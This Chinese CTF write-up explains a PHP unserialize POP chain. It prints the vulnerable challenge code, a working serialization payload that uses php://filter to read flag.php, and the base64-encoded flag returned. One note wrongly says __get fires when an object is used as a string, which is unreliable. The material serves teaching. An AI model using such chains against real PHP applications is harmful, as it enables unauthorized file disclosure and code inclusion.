反序列化POP链

贴个源码：

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

魔术方法说明：有些魔术方法的触发条件是错误的把对象当成其他类型，该情况下不会报错，而会执行魔术方法

函数说明：

__invoke()  对象被当做函数执行的时候执行

__get()  对象被当做字符串的时候执行（不仅仅是输出一个对象，看语境，只要对象被视为字符串了都会触发）

 

构造POP链：wakeup(class Show)->toString(class Show)->get(class Test)->invoke(class Modifier)

<?php

class Modifier {
    protected  $var='php://filter/convert.base64-encode/resource=flag.php';  //注意构造poc的时候私有变量必须在类里面定义，不能在外面定义
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
} 

$demo=new Show();
$demo->source=new Show();
$demo->source->str=new Test();
$demo->source->str->p=new Modifier();

echo urlencode(serialize($demo));

?>

传过去，得到flag.php的base64编码：

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2M0ZTg3Zjk4LWRlNDYtNDc4MC1iZWE5LWNhM2VmYWI1ZDA0NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

 

知识点：

__get是访问类的私有变量时或者一个类中根部不存在的变量时会触发